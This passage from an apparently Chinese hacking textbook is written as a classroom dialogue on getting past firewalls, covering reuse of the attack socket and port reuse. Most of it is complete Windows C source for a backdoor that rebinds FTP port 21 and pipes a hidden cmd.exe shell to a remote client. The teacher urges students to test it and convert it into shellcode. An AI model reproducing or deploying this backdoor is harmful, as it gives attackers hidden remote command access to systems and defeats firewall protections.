6.3.3 突破防火墙
“而第三个技巧,就是考虑如何突破防火墙和一些限制环境了!”
“我们的反连ShellCode不是可以起到突破防火墙的作用吗?”玉波问道。如图6-23。
“是的,但那样需要我们攻击方在公网上,有一个公网的IP地址。如果攻击方在内网,那目标机就反连不上来,这种方式就行不通了,如图6-24。”
“哇!是啊!这种情况下如何突破呢?”宇强也迷糊了。
“呵呵!现在我们既不能从攻击机发起连接,因为会被目标机的防火墙阻断;也不能从目标机发起连接,因为到不了攻击机的内网。”
“啊!岂不是路都堵死了?”小倩说道。
“大家不要在一条路上想死了,要换一个思路。”老师说道。“我们既然可以给远程机器发送攻击代码,那么它们之间应该是连接的!而远程机器间的连接通信一般都是通过Socket来完成的。”
“哦!我们利用原来的连接?”宇强叫了出来。
“对,如果我们的ShellCode可以找到发送攻击代码的那条通路的Socket,就可直接使用以前那个连接Socket,不用再新建端口了!如图-25。”
“哦!很巧妙啊!”台下感叹道。
“另外,服务器总要开些端口,我们也可把Shell的端口开在防火墙打开的端口上。”老师说,“通过端口复用来突破防火墙!”
“比如,对方开放了FTP服务,那么防火墙就需要打开21端口。我们的ShellCode就可复用目标机的21端口,在对方的21端口上绑定一个Shell;而攻击机通过连接21端口来获得Shell。如图6-26。”
“我们来看看复用端口的具体实现吧!程序如下:”
/*
绑定指定21端口,绑定cmd.exe
*/
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <tchar.h>
#include <process.h>
#include <io.h>
#pragma comment(lib, "ws2_32")
int main(int argc, char **argv)
{
//启动winsock
WSAData wsa;
WORD wVersion;
int ret;
wVersion = MAKEWORD(2, 0);
if(WSAStartup(wVersion, &wsa) != 0)
{
return -1;
}
//下面获取本机IP地址
char szHostName[128];
char *pszIp;
HOSTENT *pHost = NULL;
if(gethostname(szHostName, 128)==0)
{
pHost = gethostbyname(szHostName);
if(pHost != NULL)
{
pszIp = inet_ntoa( *(in_addr*)pHost->h_addr_list[0] );
}
else
{
printf("get host ip fail!\n");
return -1;
}
}
else
{
printf("can't find host name!\n");
return -1;
}
//创建服务端套接字
SOCKET ss;
if((ss = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
//设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
BOOL val = TRUE;
if(setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//重新绑定,这里重新绑定21端口
SOCKADDR_IN saddr;
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(pszIp);
saddr.sin_port = htons(21);
if(bind(ss, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
ret = GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(ss, 2);
//等待连接
SOCKET clientFD;
SOCKADDR_IN caddr;
int nCaddrSzie;
nCaddrSzie = sizeof(caddr);
clientFD = accept(ss, (struct sockaddr *)&caddr,&nCaddrSzie);
//连接之后,就和双管道后门完全一样了
char Buff[1024];
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
//建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
//建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
解释一下,这段代码创建了一个cmd.exe,把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe的标准输入用第二个管道的读句柄替换。如下:
远程主机←入←管道1输出←管道1输入←输出(cmd.exe子进程)
远程主机→输出→管道2输入→管道2输出→输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1)
{
//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
//将命令写入管道2,即传给CMD进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
WSACleanup();
return 0;
}
“其实,关键就是下面这句:”
Setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0
“它把套接字‘ss’设为重用,这样就可重新绑定端口了。”
古风说道,“听起来很有意思和用处也!”
“嗯,这门课只懂得原理是远远不够的,实践才是关键。大家下去也亲自测试一下,并考虑提取成ShellCode。”
“好哩!用汇编和C语言直接提取都没问题。”古风摩拳擦掌。
“下次课我们会继续深入讲解漏洞的发现和分析!”
“那些更是我们想知道的东东!好啊!”同学们都欢呼起来。
“今天的课就讲到这里。天气有点冷,大家多注意身体。放学!”